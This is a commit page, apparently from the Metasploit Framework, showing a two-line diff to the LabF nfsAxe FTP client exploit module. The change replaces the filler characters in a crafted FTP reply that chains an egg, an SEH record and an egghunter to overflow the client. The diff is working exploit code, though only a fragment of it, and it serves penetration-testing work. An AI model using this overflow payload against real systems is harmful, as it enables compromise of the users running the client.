Update labf_nfsaxe.rb

MS-2855/keylogger-mettle-extension
Daniel Teixeira 2018-01-07 16:46:06 +00:00 committed by GitHub
parent a69f275a39
commit ff1806ef5f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions

View File

@ -69,11 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
sploit = "220 \""
sploit << "A"*(9833 - egg.length)
sploit << "\x20"*(9833 - egg.length)
sploit << egg
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << "C"*(576 - hunter.length)
sploit << "\x20"*(576 - hunter.length)
sploit << "\" is current directory\r\n"
client.put(sploit)